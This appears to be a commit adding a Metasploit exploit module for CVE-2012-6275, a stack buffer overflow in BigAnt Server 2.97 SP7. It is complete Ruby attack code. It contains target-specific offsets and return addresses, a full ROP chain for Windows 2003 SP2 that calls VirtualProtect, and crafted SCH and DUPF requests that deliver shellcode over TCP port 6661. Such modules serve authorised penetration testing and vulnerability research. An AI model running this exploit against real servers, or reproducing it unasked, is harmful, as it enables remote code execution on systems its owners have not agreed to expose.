Added module for CVE-2012-6275
jvazquez-r7
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'BigAnt Server SCH And DUPF Buffer Overflow',
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'Description' => %q{
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This exploits a stack buffer overflow in the BigAnt Server 2.97 SP7. The
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vulnerability is due to the dangerous usage of strcpy while handling errors. This
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module uses a combination of SCH and DUPF request to trigger the vulnerability and
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has been tested successfully against version 2.97 SP7 over Windows XP SP3 and
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Windows 2003 SP2.
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},
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'Author' =>
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[
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'Hamburgers Maccoy', # Vulnerability discovery
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'juan vazquez' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2012-6275' ],
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[ 'US-CERT-VU', '990652' ],
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[ 'BID', '57214' ],
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[ 'OSVDB', '89344' ]
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],
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'Payload' =>
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{
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'Space' => 2500,
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'BadChars' => "\x00\x0a\x0d\x25\x27",
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'DisableNops' => true,
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'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'BigAnt Server 2.97 SP7 / Windows XP SP3',
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{
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'Offset' => 629,
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'Ret' => 0x77c21ef4, # ppr from msvcrt
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'JmpESP' => 0x77c35459, # push esp # ret from msvcrt
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'FakeObject' => 0x77C60410 # .data from msvcrt
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}
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],
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[ 'BigAnt Server 2.97 SP7 / Windows 2003 SP2',
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{
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'Offset' => 629,
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'Ret' => 0x77bb287a, # ppr from msvcrt
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'FakeObject' => 0x77bf2460, # .data from msvcrt
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:callback_rop => :w2003_sp2_rop
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}
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]
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],
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'Privileged' => true,
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jan 09 2013'))
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register_options([Opt::RPORT(6661)], self.class)
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end
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def junk(n=4)
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return rand_text_alpha(n).unpack("V")[0].to_i
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end
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def nop
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return make_nops(4).unpack("V")[0].to_i
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end
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def w2003_sp2_rop
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rop_gadgets =
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[
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0x77bc5d88, # POP EAX # RETN
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0x77ba1114, # <- *&VirtualProtect()
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0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
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junk,
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0x77bb0c86, # XCHG EAX,ESI # RETN
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0x77bc9801, # POP EBP # RETN
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0x77be2265, # ptr to 'push esp # ret'
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0x77bc5d88, # POP EAX # RETN
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0x03C0990F,
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0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)
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0x77bb48d3, # POP EBX, RET
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0x77bf21e0, # .data
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0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
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0x77bbfc02, # POP ECX # RETN
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0x77bef001, # W pointer (lpOldProtect) (-> ecx)
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0x77bd8c04, # POP EDI # RETN
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0x77bd8c05, # ROP NOP (-> edi)
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0x77bc5d88, # POP EAX # RETN
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0x03c0984f,
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0x77bdd441, # SUB EAX, 03c0940f
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0x77bb8285, # XCHG EAX,EDX # RETN
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0x77bc5d88, # POP EAX # RETN
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nop,
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0x77be6591, # PUSHAD # ADD AL,0EF # RETN
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].pack("V*")
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return rop_gadgets
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end
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def exploit
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sploit = rand_text_alpha(target['Offset'])
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sploit << [target.ret].pack("V")
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sploit << [target['FakeObject']].pack("V")
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sploit << [target['FakeObject']].pack("V")
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if target[:callback_rop] and self.respond_to?(target[:callback_rop])
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sploit << self.send(target[:callback_rop])
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else
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sploit << [target['JmpESP']].pack("V")
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end
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sploit << payload.encoded
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random_filename = rand_text_alpha(4)
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random_date = "#{rand_text_numeric(4)}-#{rand_text_numeric(2)}-#{rand_text_numeric(2)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)}"
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random_userid = rand_text_numeric(1)
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random_username = rand_text_alpha_lower(5)
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random_content = rand_text_alpha(10 + rand(10))
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sch = "SCH 16\n"
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sch << "cmdid: 1\n"
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sch << "content-length: 0\n"
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sch << "content-type: Appliction/Download\n"
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sch << "filename: #{random_filename}.txt\n"
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sch << "modified: #{random_date}\n"
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sch << "pclassid: 102\n"
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sch << "pobjid: 1\n"
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sch << "rootid: 1\n"
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sch << "sendcheck: 1\n"
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sch << "source_cmdname: DUPF\n"
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sch << "source_content-length: 116619\n"
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sch << "userid: #{random_userid}\n"
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sch << "username: #{sploit}\n\n"
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print_status("Trying target #{target.name}...")
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connect
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print_status("Sending SCH request...")
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sock.put(sch)
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res = sock.get_once
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if res.nil?
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fail_with(Exploit::Failure::Unknown, "No response to the SCH request")
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end
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if res=~ /scmderid: \{(.*)\}/
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scmderid = $1
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else
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fail_with(Exploit::Failure::UnexpectedReply, "scmderid value not found in the SCH response")
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end
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dupf = "DUPF 16\n"
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dupf << "cmdid: 1\n"
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dupf << "content-length: #{random_content.length}\n"
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dupf << "content-type: Appliction/Download\n"
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dupf << "filename: #{random_filename}.txt\n"
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dupf << "modified: #{random_date}\n"
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dupf << "pclassid: 102\n"
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dupf << "pobjid: 1\n"
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dupf << "rootid: 1\n"
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dupf << "scmderid: {#{scmderid}}\n"
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dupf << "sendcheck: 1\n"
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dupf << "userid: #{random_userid}\n"
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dupf << "username: #{random_username}\n\n"
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dupf << random_content
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print_status("Sending DUPF request...")
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sock.put(dupf)
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#sock.get_once
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disconnect
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end
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end
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